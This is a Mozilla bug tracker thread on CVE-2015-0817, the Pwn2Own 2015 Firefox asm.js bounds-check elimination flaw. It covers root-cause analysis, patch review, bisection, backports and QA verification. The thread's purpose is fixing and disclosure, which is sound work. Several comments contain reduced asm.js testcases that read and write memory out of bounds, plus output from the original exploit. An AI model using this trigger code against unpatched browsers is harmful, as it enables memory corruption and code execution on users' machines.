1145255 - (CVE-2015-0817) Incorrect asm.js bounds checking elimination (Pwn2Own 2015) (ZDI-CAN-2830)

Status: VERIFIED FIXED

(Core :: JavaScript Engine, defect)

Description

[Daniel Veditz [:dveditz]]

Attachment: ZDI-CAN-2830.tar

ilxu1a pwned Firefox on windows and got calc.exe to run. the final privilege escalation came from re-enabling enablePrivilege (Hi Bobby -- can we kill that soon?) but the primary bug is in the JIT. The bug also occurs on 32-bit Linux

crash is at

0x8020052
xul!js::proxy_GetGeneric+0xd63
xul!JSTracer::setTracingDetails+0x2514
xul!JS::ObjectPtr::ObjectPtr+0x19b62
xul!js::ExucuteInGlobalAndReturnScope+0x48c7

Comment 1

[Daniel Veditz [:dveditz]]

NOTE
====

The test files in the archive work on 32-bits only (exploit on windows, crash on Linux). I don't know if the bug is only present in the 32-bit JIT, or if it's present in all JITs but would need a different testcase on 64-bit. I suppose testing in 64-bit ASAN might give some clues to that, but otherwise don't bother testing on 64-bit until someone is able to adapt the testcase for that platform.

Comment 2

[Steve Fink [:sfink] [:s:]]

The writeup:

Asm.js eliminates bounds checks for heap accesses incorrectly. With heap accesses like 

  HEAP8[index & 0x3ffffff]

if the mask is less than heap length, then the bounds check may be eliminated. This case is handled by js/src/asmjs/AsmJSValidate.cpp:4447 :

  if (mask2 == 0 ||
      CountLeadingZeroes32(f.m().minHeapLength() - 1) <= CountLeadingZeroes32(mask2)) {
    *needsBoundsCheck = NO_BOUNDS_CHECK;
  }

It assumes that minHeapLength() returns a power of 2 though, which is not the case for larger heap lengths. Possible lengths are determined by js/src/asmjs/AsmJSValidate.h:84:

inline uint32_t
RoundUpToNextValidAsmJSHeapLength(uint32_t length)
{
  if (length <= 4 * 1024)
    return 4 * 1024;
  if (length <= 16 * 1024 * 1024)
    return mozilla::RoundUpPow2(length);
  MOZ_ASSERT(length <= 0xff000000);
  return (length + 0x00ffffff) & ~0x00ffffff;
}

Smallest non-power of 2 is 0x3000000 . So let's say heap length is 0x3000000 and mask is 0x3ffffff. Then CountLeadingZeroes32(f.m().minHeapLength() - 1) <= CountLeadingZeroes32(mask2)
check succeeds and bounds check is eliminated. The mask is too large though and allows OOB
read/write.

Comment 3

[Steve Fink [:sfink] [:s:]]

Attachment: Handle non power of two edge case for asm.js validation

I know nothing about this code and there are probably invariants that I don't know about that could be relied upon, but at first glance something like this patch seems like it would patch up the hole.

Comment 4

[Nicolas B. Pierron [:nbp]]

Attachment: test.js

This is a Shell test case for the asmjs part.
I managed to get a SEGV out of it after a minute.

Comment 5

[Nicolas B. Pierron [:nbp]]

(In reply to Nicolas B. Pierron [:nbp] from comment #4)
> Created attachment 8580206 [details]
> test.js
> 
> This is a Shell test case for the asmjs part.
> I managed to get a SEGV out of it after a minute.

Running the JS shell under rr seems to make the exploit way faster (a matter of 2 seconds)

Magic offset 0x000c66c8
Groomed
[+] Got OOB block
[+] Found Uint32Array at 0x00140002
[+] Identified Uint32Array
_build/bugzil.la/1145255/test2.js:5:2 ReferenceError: AssertEq is not defined

Comment 6

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

$ ./js-32-dm-nsprBuild-darwin-2e2222a40262 --fuzzing-safe --no-threads --ion-eager 1145255.js
Magic offset 0x00089c6c
Groomed
[+] Got OOB block
[+] Found Uint32Array at 0x00000004
[+] Identified Uint32Array
1145255.js:5:2 ReferenceError: AssertEq is not defined

32-bit debug and opt builds show this instantaneously for me, but not a crash, but rather, an error.

Comment 7

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

OK, reduced variants show both the ReferenceError and a crash.

Comment 8

[Daniel Veditz [:dveditz]]

Attachment: ilxu1a's writeup

Attaching the reporter's write up from the .tar file because it's informative even for people who don't want to bother with downloading and un-tarring all the test files.

Comment 9

[Luke Wagner [:luke]]

Comment on attachment 8580201 [details] [diff] [review]
Handle non power of two edge case for asm.js validation

Review of attachment 8580201 [details] [diff] [review]:
-----------------------------------------------------------------

Yes, that's right and thank you for the analysis.  (Nit: no curlies around single-line then/else branch.)

Comment 10

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

Sploit = {} = function() {}
Sploit.Groom = function() {
    this.heap = ArrayBuffer(this.heap_size)
}
Sploit.AsmJsModule = function(stdlib, n, heap) {
    "use asm"
    var u32 = new stdlib.Uint32Array(heap)
    var value = 0.

        function d() {
            return u32[0x800000] | 0
        }

        function ReadOobU32(index) {
            index = index | 0;
            index = ((index << 2) + 0x3000000) | 0;
            value = +(u32[(index & 0x3ffffff) >> 2] | 0)
        }
    return {
        ReadOobU32: ReadOobU32
    }
}
var self = this
Sploit.Trigger = function() {
    this.oob = this.AsmJsModule(self, null, this.heap)
    for (var j = 0; j < 4; j++) {
        index = j;
        if (this.oob.ReadOobU32(index + this.h)().t) {}
    }
}
Sploit.FindUint32ArrayLoop = function() {
    {
        this.Groom();
        this.Trigger()
    }(3())
}
Sploit.heap_size = 0x3000000;
Sploit.FindUint32ArrayLoop()

Reduced testcase that intermittently crashes js opt shell on m-c rev 2e2222a40262 with --fuzzing-safe --no-threads --ion-eager at:

Process 98199 stopped
* thread #1: tid = 0x4b198, 0x014fe054, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x9000000)
    frame #0: 0x014fe054
-> 0x14fe054:  movl   0x6000000(%eax), %eax
   0x14fe05a:  xorpd  %xmm0, %xmm0
   0x14fe05e:  cvtsi2sdl %eax, %xmm0
   0x14fe062:  movsd  %xmm0, 0x14ff570
(lldb) bt
* thread #1: tid = 0x4b198, 0x014fe054, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x9000000)
  * frame #0: 0x014fe054
    frame #1: 0x03008e10
(lldb)

LD=ld CROSS_COMPILE=1 CC="clang -Qunused-arguments -msse2 -mfpmath=sse -arch i386" RANLIB=ranlib CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse -arch i386" AS=$CC AR=ar STRIP="strip -x -S" HOST_CC="clang -Qunused-arguments -msse2 -mfpmath=sse" AUTOCONF=/usr/local/Cellar/autoconf213/2.13/bin/autoconf213 HOST_CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse" sh /Users/skywalker/trees/mozilla-central/js/src/configure --target=i386-apple-darwin9.2.0 --enable-macos-target=10.5 --disable-debug --enable-nspr-build --enable-more-deterministic --with-ccache --enable-gczeal --enable-debug-symbols --disable-tests

python -u ~/fuzzing/js/compileShell.py -b "--disable-debug --enable-more-deterministic --enable-nspr-build --32" -r 2e2222a40262

Bisecting now.

Comment 11

[Luke Wagner [:luke]]

Analyzing the source of the bug:
This was added as part of an experimental optimization added in bug 1143794 that was, at the time correct b/c the heap size was a power of 2.  Later, the power-of-2 restriction was relaxed in bug 911254 despite the implicit dependency from the first patch.  Arg.  I should have reviewed harder.

Comment 12

[Nicolas B. Pierron [:nbp]]

function AsmJsModule(stdlib, foreign, heap) {
  "use asm";
  var u32 = new stdlib.Uint32Array(heap);
  function Unused() {
    return u32[0x800000]|0;
  }
  function WriteOobU32(index, val) {
    index = index|0;
    val = val|0;
    index = ((index << 2) + 0x3000000)|0;
    u32[(index & 0x3ffffff) >> 2] = val|0;
  }
  return {WriteOobU32: WriteOobU32};
}
function Run() {
  do {
    var heap = new ArrayBuffer(0x3000000);
    var oob = AsmJsModule(this, null, heap);
    for (var i = 0; i < 0x400000; i++) {
      oob.WriteOobU32(i, 0x41414141);
    }
  } while (true);
}
Run();


Minimal test case, fails instantly with a SEGV.

Comment 13

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

AsmJsModule = function(stdlib, n, heap) {
    "use asm"
    var u32 = new stdlib.Uint32Array(heap)
    var value = 0.
    function d() {
        return u32[0x800000] | 0
    }
    function ReadOobU32(index) {
        index = index | 0;
        index = index + 0x3000000 | 0;
        value = +(u32[(index & 0x3ffffff) >> 2] | 0)
    }
    return {
        ReadOobU32: ReadOobU32
    }
}
for (var a = 0; a < 99; a++) {
    oob = AsmJsModule(this, null, ArrayBuffer(0x3000000))
    oob.ReadOobU32()
}

alternative reduced testcase that crashes js opt shell on m-c rev 2e2222a40262 with --fuzzing-safe --no-threads --ion-eager.

LD=ld CROSS_COMPILE=1 CC="clang -Qunused-arguments -msse2 -mfpmath=sse -arch i386" RANLIB=ranlib CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse -arch i386" AS=$CC AR=ar STRIP="strip -x -S" HOST_CC="clang -Qunused-arguments -msse2 -mfpmath=sse" AUTOCONF=/usr/local/Cellar/autoconf213/2.13/bin/autoconf213 HOST_CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse" sh /Users/skywalker/trees/mozilla-central/js/src/configure --target=i386-apple-darwin9.2.0 --enable-macos-target=10.5 --disable-debug --enable-nspr-build --enable-more-deterministic --with-ccache --enable-gczeal --enable-debug-symbols --disable-tests

python -u ~/fuzzing/js/compileShell.py -b "--disable-debug --enable-more-deterministic --enable-nspr-build --32" -r 2e2222a40262

Bisection is still happening.

Comment 14

[Steve Fink [:sfink] [:s:]]

Attachment: Handle non power of two edge case for asm.js validation

Version for review. Feel free to bikeshed |if(A) X else if (B) X| => |if (A || B) X|.

Comment 15

[Luke Wagner [:luke]]

Comment on attachment 8580238 [details] [diff] [review]
Handle non power of two edge case for asm.js validation

Thanks again.  I think the single-statement || form would look a bit nicer, as you mentioned.

Comment 16

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

Bisection using testcase in comment 13:

autoBisect shows this is probably related to the following changeset:

The first bad revision is:
changeset:   https://hg.mozilla.org/mozilla-central/rev/41f10856b94d
user:        Benjamin Bouvier
date:        Fri Jul 18 12:14:47 2014 +0200
summary:     Bug 986673: Make Odinmonkey not depend on signal handlers; r=luke

Is bug 986673 a likely regressor too?

Comment 17

[Andrew McCreight [:mccr8]]

Beyond the OOB access, this exploit uses the turn_off_all_security pref, which we have bug 984012 on file about, and the fact that we store constant pointers in JS objects in the clasp, which I just filed bug 1145337 about trying to avoid.

Comment 18

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

LD=ld CROSS_COMPILE=1 CC="clang -Qunused-arguments -msse2 -mfpmath=sse -arch i386" RANLIB=ranlib CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse -arch i386" AS=$CC AR=ar STRIP="strip -x -S" HOST_CC="clang -Qunused-arguments -msse2 -mfpmath=sse" AUTOCONF=/usr/local/Cellar/autoconf213/2.13/bin/autoconf213 HOST_CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse" sh /Users/skywalker/trees/mozilla-central/js/src/configure --target=i386-apple-darwin9.2.0 --enable-macos-target=10.5 --enable-debug --enable-nspr-build --enable-more-deterministic --with-ccache --enable-gczeal --enable-debug-symbols --disable-tests

python -u ~/fuzzing/js/compileShell.py -b "--enable-debug --enable-more-deterministic --enable-nspr-build --32" -r 2e2222a40262

Stack for debug builds using testcase with --fuzzing-safe --no-threads --ion-eager in comment 13:

Process 41557 stopped
* thread #1: tid = 0x8fffe, 0x01ae6056, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x7800000)
    frame #0: 0x01ae6056
-> 0x1ae6056:  movl   0x4800000(%eax), %eax
   0x1ae605c:  xorpd  %xmm0, %xmm0
   0x1ae6060:  cvtsi2sdl %eax, %xmm0
   0x1ae6064:  movsd  %xmm0, 0x1ae7680
(lldb) bt
* thread #1: tid = 0x8fffe, 0x01ae6056, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x7800000)
  * frame #0: 0x01ae6056
    frame #1: 0x0020c0ca js-dbg-32-dm-nsprBuild-darwin-2e2222a40262`js::Invoke(JSContext*, JS::CallArgs, js::MaybeConstruct) [inlined] js::CallJSNative(cx=0x02051200, native=0x0009d3b0)(JSContext*, unsigned int, JS::Value*), JS::CallArgs const&) + 189 at jscntxtinlines.h:235
    frame #2: 0x0020c00d js-dbg-32-dm-nsprBuild-darwin-2e2222a40262`js::Invoke(cx=0x02051200, args=CallArgs at 0xbfffeb54, construct=<unavailable>) + 509 at Interpreter.cpp:502
    frame #3: 0x001f280c js-dbg-32-dm-nsprBuild-darwin-2e2222a40262`js::Invoke(cx=0x01d01900, thisv=<unavailable>, fval=<unavailable>, argc=<unavailable>, argv=<unavailable>, rval=JS::MutableHandleValue at 0xbfffec24) + 540 at Interpreter.cpp:558
    frame #4: 0x0046ad27 js-dbg-32-dm-nsprBuild-darwin-2e2222a40262`js::jit::DoCallFallback(cx=0x01d01900, frame=<unavailable>, stub_=<unavailable>, argc=<unavailable>, vp=<unavailable>, res=JS::MutableHandleValue at 0xbfffee44) + 1751 at BaselineIC.cpp:9569
    frame #5: 0x01abaacc
(lldb)

Comment 19

[Steve Fink [:sfink] [:s:]]

Attachment: Handle non power of two edge case for asm.js validation

Ok, one last upload, given the upcoming backports. And I'm going to make luke tag it r+ mostly because I don't want it to be marked as a self-review, considering what it is.

(And I wish bzexport would stop assigning me to this bug. Who implemented that obnoxious feature, anyway?)

Comment 20

[Nicolas B. Pierron [:nbp]]

(In reply to Gary Kwong [:gkw] [:nth10sd] from comment #16)
> The first bad revision is:
> changeset:   https://hg.mozilla.org/mozilla-central/rev/41f10856b94d
> user:        Benjamin Bouvier
> date:        Fri Jul 18 12:14:47 2014 +0200
> summary:     Bug 986673: Make Odinmonkey not depend on signal handlers;
> r=luke
> 
> Is bug 986673 a likely regressor too?

I am not sure, but I think this is just a side-effect of the minification of the test case which focus on SEGV, and cause the bisect to stop on the modification of the SEGV handler.

Can you try bisecting with

  JS_DISABLE_SLOW_SCRIPT_SIGNALS=1 JS_NO_SIGNALS=1

The exploit does not attempts at making segv, it iterates over allocated pages until it can identify one which corresponds to the header of an ArrayBuffer.

Comment 21

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

(In reply to Nicolas B. Pierron [:nbp] from comment #20)
> Can you try bisecting with
> 
>   JS_DISABLE_SLOW_SCRIPT_SIGNALS=1 JS_NO_SIGNALS=1

Nope, m-c rev 68f0964d3ebe does not crash with these environment variables set.

Comment 22

[Daniel Veditz [:dveditz]]

Comment on attachment 8580268 [details] [diff] [review]
Handle non power of two edge case for asm.js validation

sec-approval+

Does this patch need tweaking for other branches? We want it on
  release (36)
  beta    (37)
  aurora  (38)
in addition to trunk. Do we know how far back this bug goes? I assume it probably affects ESR?

Comment 23

[Steve Fink [:sfink] [:s:]]

Comment on attachment 8580268 [details] [diff] [review]
Handle non power of two edge case for asm.js validation

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: pwn2own vuln
Fix Landed on Version: 39
Risk to taking this patch (and alternatives if risky): could slow down asm.js code slightly, I guess? It's safe.
String or UUID changes made by this patch:  none

Approval Request Comment
[Feature/regressing bug #]: 1143794
[User impact if declined]: pwn2own vuln
[Describe test coverage new/current, TreeHerder]: I ran a script or two and it didn't crash

Comment 24

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

Bug 986673 is probably unrelated.

Comment 25

[Steve Fink [:sfink] [:s:]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/810a0dfe489f

Comment 26

[Luke Wagner [:luke]]

Oops, I made a copy/paste mistake in comment 11; the original bug that landed the problematic code was bug 865516 (not a bug that was filed yesterday).

Comment 27

[Lawrence Mandel [:lmandel] (use needinfo)]

Comment on attachment 8580268 [details] [diff] [review]
Handle non power of two edge case for asm.js validation

(In reply to Steve Fink [:sfink, :s:] from comment #23)
> [Feature/regressing bug #]: 1143794

This is the wrong bug # but afaik we know that this bug impacts ESR. Approved across the board.

Comment 28

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

Bug 865516 is the real regressor, as per comment 26.

Comment 29

[Steve Fink [:sfink] [:s:]]

Huh, I would have guessed that bug 911254 is the one that made it matter, but that's still FF27, so it doesn't matter.

Comment 30

[Luke Wagner [:luke]]

(In reply to Steve Fink [:sfink, :s:] from comment #29)
You're correct, bug 911254 broke bug 865516.  Sorry for the ambiguity, I just noticed I had a totally wrong bug # in comment 11.

Comment 31

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-aurora/rev/00bdb5b2e0a2
https://hg.mozilla.org/releases/mozilla-beta/rev/aabde7671ac0
https://hg.mozilla.org/releases/mozilla-release/rev/2b1ecc5fad12
https://hg.mozilla.org/releases/mozilla-b2g34_v2_1/rev/551072ff4b83
https://hg.mozilla.org/releases/mozilla-b2g32_v2_0/rev/fd3f20e6f1cf
https://hg.mozilla.org/releases/mozilla-b2g30_v1_4/rev/b6b4db24dde0
https://hg.mozilla.org/releases/mozilla-esr31/rev/27acc82b653f (GECKO3150esr_2015021713_RELBRANCH)
https://hg.mozilla.org/releases/mozilla-esr31/rev/0400549c2a53 (default)

Comment 32

[Wes Kocher (:KWierso) (Not reading bugmail; email directly if needed)]

https://hg.mozilla.org/mozilla-central/rev/810a0dfe489f

Comment 33

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-b2g37_v2_2/rev/aabde7671ac0
https://hg.mozilla.org/releases/mozilla-b2g34_v2_1s/rev/551072ff4b83
https://hg.mozilla.org/releases/mozilla-b2g32_v2_0m/rev/fd3f20e6f1cf

Comment 34

[Bogdan Maris, Desktop QA]

Was able to crash Firefox 37 beta 6 using the testcase from comment 0: bp-75747ae3-4ff2-4d40-a94e-13c3a2150320 - Expected!

Verified that the testcase does not crash Firefox 37 beta 7, Firefox 36.0.3 RC, latest Nightly 39.0a1 and latest Aurora 38.0a2 on Windows 7 64-bit, Mac OS X 10.9.5 and Ubuntu 14.04 32-bit.

Comment 37

[Ioana Chiorean]

We unzip the attachment and copy all the files to the SD card. Opening POC.html with 37 Beta 6 fx stops responding or crashes.. 
Opening POC.html with 37 Beta 7 and 36.0.3 will display a blank page but not crash nor stop responding issues. 
So this is fixed on mobile too.

Comment 38

[Kamil Jozwiak [:kjozwiak]]

Reproduced the original exploit and received the calc.exe using the following build:
- http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/latest/win32/en-US/
** ran the server.py
** visited https://localhost:8000/ff in fx and reproduced the exploit by receiving the calc.exe

I can't reproduce the original exploit by spawning a calc.exe using 31.5.0, but the build does end up crashing instantly when connecting to the poc server that was attached.

Went through verification using the following build:
- http://ftp.mozilla.org/pub/mozilla.org/firefox/candidates/31.5.1esr-candidates/build1/

Using the original POC, I pointed 31.5.1esr to http://localhost:8000/ff and didn't receive a crash instantly. I left it running for about 5 minutes without receiving any crashes. Also, opening poc.html doesn't crash instantly with 31.5.1esr.

OS's:

Win 8.1 x64 -> PASSED
Ubuntu 14.04.1 -> PASSED

Comment 41

[Petruta Horea [:phorea], Desktop QA]

Tried to reproduce and verify the crash by loading poc.html and http://localhost:8000/ff. Please see my results for each platform:

Win 8 32-bit: 
With Firefox 37 beta 6 I'm not receiving a calc.exe window; poc.html file crashes Firefox while http://localhost:8000/ff gives an error. With 38.0ESR poc.html file doesn't crash and http://localhost:8000/ff shows the same error:
[+] Running asmjs
[+] Magic offset 0x0009c700
Error InternalError: uncaught exception: out of memory at :0:0
Error InternalError: uncaught exception: out of memory at :0:0
The same error is shown with 31.7ESR.

Mac OS X 10.9.5 - builds opened in 32-bit mode: 
Ubuntu 12.04 32-bit: 
Firefox 37 beta 6 crashes with both poc.html and http://localhost:8000/ff. 
Using 38.0ESR the poc.html doesn't crash anymore, but http://localhost:8000/ff is interrupted after loading just a few seconds with the message "Error InternalError: uncaught exception: out of memory at :0:0" - it also happens with Firefox 37.0, but isn't the case with 31.7ESR when the interruption happens rarely.

Can someone please check if http://localhost:8000/ff should be running in newer Firefox versions?

Comment 42

[Bogdan Maris, Desktop QA]

Based on the above comment visiting https://localhost:8000/ff does not reproduce the exploit by receiving the calc.exe on old builds. We need to reproduce the initial issue in order to verify it.
The crash though can be reproduced on old builds but not in 38.0 ESR, is this enough to call this bug verified fixed on this build?

Comment 43

[Steve Fink [:sfink] [:s:]]

(In reply to Bogdan Maris, QA [:bogdan_maris] from comment #42)
> Based on the above comment visiting https://localhost:8000/ff does not
> reproduce the exploit by receiving the calc.exe on old builds. We need to
> reproduce the initial issue in order to verify it.
> The crash though can be reproduced on old builds but not in 38.0 ESR, is
> this enough to call this bug verified fixed on this build?

Yes, I believe the crash should be a good enough test.